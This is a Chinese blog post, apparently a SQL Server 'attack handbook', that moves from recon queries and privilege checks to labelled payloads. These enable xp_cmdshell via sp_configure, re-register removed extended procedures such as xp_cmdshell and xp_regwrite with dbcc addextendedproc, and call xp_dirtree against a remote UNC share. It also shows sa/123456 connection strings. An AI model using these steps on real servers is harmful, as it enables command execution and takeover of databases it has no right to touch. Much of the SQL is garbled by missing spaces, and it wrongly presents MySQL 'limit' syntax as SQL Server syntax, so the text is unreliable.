SQLserver攻击手册(一)(上)

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介: SQLserver攻击手册(一)

一、SQL server概述

SQL Server是Microsoft开发的关系数据库管理系统(RDBMS)。它是市场上最受欢迎的DBMS之一。SQL Server具有极其广泛的用途,它可以在各个方面使用,小到存储个人博客的内容到大到存储客户数据。

SQL Server的常见角色是:

  • Sysadmin角色:SQL Server管理员。
  • Public角色:最低特权,类似于Windows中的everyone组。


SQL SERVER手册

   https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-addextendedproc-transact-sql?view=sql-server-ver15

SQL server攻击思路及文章:

   简https://www.jianshu.com/p/68f7e51a6aee

   谢公子:https://www.anquanke.com/post/id/200154

二、SQL server基础操作

SQL server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR  DELAY  '0:0:2'

SQLServer有三个权限级别:

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限

db权限:文件管理,数据库操作等权限 users-administrators

public权限:数据库操作 guest-users

(1)判断当前用户权限

判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

(2)SQL server数据库类型判断

640.png

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。

  • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
  • model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
  • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。

tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

640.png
(3)SQL server查询语句

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
selectuser;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit2,3#查询第2条开始的3条数据,也就是2,3,4
selectsubstring('string',2,1)     #截取给定字符串的索引为2的1个字符
selectascii('a')                  #查询给定字符串的ascii值
selectlen('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
#判断是否是SA权限
select is_srvrolemember('sysadmin')     
#判断是否是db_owner权限  
select is_member('db_owner')
#判断是否是public权限
select is_srvrolemember('public')
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
count(name)是查询总数
name是查询名字
*是查询详细信息
#查询数据库
selectcount(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
selectnamefrom sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
#查询数据表
selectcount(name) from sysobjects wheretype='U'#查询当前数据库中表的个数
selectnamefrom sysobjects wheretype='U'#查询当前数据库中所有表的名字
select * from sysobjects wheretype='U'#查询当前数据库的所有表的详细信息
selectcount(name) from test..sysobjects where xtype='U'#查询指定test数据库中表的个数
selectnamefrom test..sysobjects where xtype='U'#查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'#查询指定test数据库中表的详细信息
#查询列
selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')            #查询当前数据库的指定users表的列的个数
selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')         #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')      #查询当前数据库的指定users表的列的详细信息
selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')     #查询指定test数据库的指定users表的列的个数
selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')       #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')       #查询指定test数据库的指定users表的列的详细信息
#查询数据
selectcount(*) from test..users     
#查询test数据库user表的数据的条数
select * from test..users
#查询test数据库user表的所有数据

二、SQL数据库利用点

2.1在SA权限下危险的存储过程

(1)xp_cmdshell

查询xp_cmdshell存储过程是否存在

xtype为对象类型,xtype='x',表示存储过程的对象类型为扩展存储过程。

payload:

select * from master.dbo.sysobjects where xtype='x'andname='xp_cmdshell'    selectcount(*) FROM master..sysobjects Where xtype = 'X'ANDname = 'xp_cmdshell'#结果是1 xp_cmdshell打开

f51b65febdb99d000633427e5af7009d.png

dce5541546f5741b36e8103db00ed4c9.png


TSQL代码判断是否开启xp_cmdshell【T-SQL概述SQL Server用于操作数据库的编程语言为Transaction-SQL

declare @RunningOnACluster char(1)
declare @xp_cmdshell_available char(1)
declare @resultint
set @xp_cmdshell_available='Y'
set @result=0
select @RunningOnACluster=case
whenconvert(int, serverproperty('IsClustered')) = 1then'Y'
else'N'
end
if(0=(select value_in_use from sys.configurations wherename='xp_cmdshell'))
set @xp_cmdshell_available='N'if @RunningOnACluster='Y'
begin
if @xp_cmdshell_available='Y'
select @result=1
if @xp_cmdshell_available='N'
select @result=2
end
select @result
恢复xp_cmdshell存储过程
方法一

开启xp_cmdshell存储过程,解决消息15281报错,在SA权限下SQL server组织对xp_cmdshell的过程

c83828928fd33cd9bee9c29ac595e93f.png

#两条同时执行
exec sp_configure 'showadvanced options', 1; reconfigure with override ; 
exec sp_configure 'xp_cmdshell',1; reconfigure with override ;

1141c59735b3e2137153bc5456ddd88a.png


方法二

(2)解决Error Message:未能找到存储过程 ‘master..xp_cmdshell’。

第一步先删除:

dropprocedure sp_addextendedproc
dropprocedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

第二步恢复:

dbcc addextendedproc("sp_oacreate","odsole70.dll") dbcc addextendedproc("xp_cmdshell"," ")
 /* addextendedproc:将新扩展存储过程的名称注册到 Microsoft SQL Server【后续版本的 Microsoft SQL Server 将删除该功能。后续会使用CLR集成】 */

c0886a618531e8ddcc41aa00a635a54b.png

直接恢复,不管sp_addextendedproc是不是存在,需要自行上传xplog70.dll,恢复扩展存储过过程xp_cmdshell的语句:

dbcc addextendedproc("xp_cmdshell","xplog70.dll")

代码判断  系列存储过程是否存在,若不存在则恢复。

if not exists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_cmdshell]'))
dbcc addextendedproc ('xp_cmdshell','xplog70.dll') 
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_dirtree]')) 
dbcc addextendedproc ('xp_dirtree','xpstar.dll') 
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_fixeddrives]')) 
dbcc addextendedproc ('xp_fixeddrives','xpstar.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regwrite]')) 
dbcc addextendedproc ('xp_regwrite','xpstar.dll') 
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regread]')) 
dbcc addextendedproc ('xp_regread','xpstar.dll')
相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情: https://www.aliyun.com/product/rds/sqlserver
相关文章
|
存储 SQL 安全
|
2月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
100 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
3月前
|
SQL 数据库 数据安全/隐私保护
SQL Server数据库Owner导致事务复制log reader job无法启动的解决办法
【8月更文挑战第14天】解决SQL Server事务复制Log Reader作业因数据库所有者问题无法启动的方法:首先验证数据库所有者是否有效并具足够权限;若非,使用`ALTER AUTHORIZATION`更改为有效登录名。其次,确认Log Reader使用的登录名拥有读取事务日志所需的角色权限。还需检查复制配置是否准确无误,并验证Log Reader代理的连接信息及参数。重启SQL Server Agent服务或手动启动Log Reader作业亦可能解决问题。最后,审查SQL Server错误日志及Windows事件查看器以获取更多线索。
|
12天前
|
存储 数据挖掘 数据库
数据库数据恢复—SQLserver数据库ndf文件大小变为0KB的数据恢复案例
一个运行在存储上的SQLServer数据库,有1000多个文件,大小几十TB。数据库每10天生成一个NDF文件,每个NDF几百GB大小。数据库包含两个LDF文件。 存储损坏,数据库不可用。管理员试图恢复数据库,发现有数个ndf文件大小变为0KB。 虽然NDF文件大小变为0KB,但是NDF文件在磁盘上还可能存在。可以尝试通过扫描&拼接数据库碎片来恢复NDF文件,然后修复数据库。
|
2月前
|
SQL 关系型数据库 MySQL
创建包含MySQL和SQLServer数据库所有字段类型的表的方法
创建一个既包含MySQL又包含SQL Server所有字段类型的表是一个复杂的任务,需要仔细地比较和转换数据类型。通过上述方法,可以在两个数据库系统之间建立起相互兼容的数据结构,为数据迁移和同步提供便利。这一过程不仅要考虑数据类型的直接对应,还要注意特定数据类型在不同系统中的表现差异,确保数据的一致性和完整性。
31 4
|
2月前
|
SQL 存储 数据管理
SQL Server数据库
SQL Server数据库
52 11
|
3月前
|
SQL Java 数据库
jsp中使用Servlet查询SQLSERVER数据库中的表的信息,并且打印在屏幕上
该博客文章介绍了在JSP应用中使用Servlet查询SQL Server数据库的表信息,并通过JavaBean封装图书信息,将查询结果展示在Web页面上的方法。
jsp中使用Servlet查询SQLSERVER数据库中的表的信息,并且打印在屏幕上
|
3月前
|
SQL 数据库
Microsoft SQL Server 2014如何来备份数据库
Microsoft SQL Server 2014如何来备份数据库
320 3
|
3月前
|
SQL 关系型数据库 MySQL
SQL数据库和 SQLserver数据库
【8月更文挑战第19天】SQL数据库和 SQLserver数据库
58 2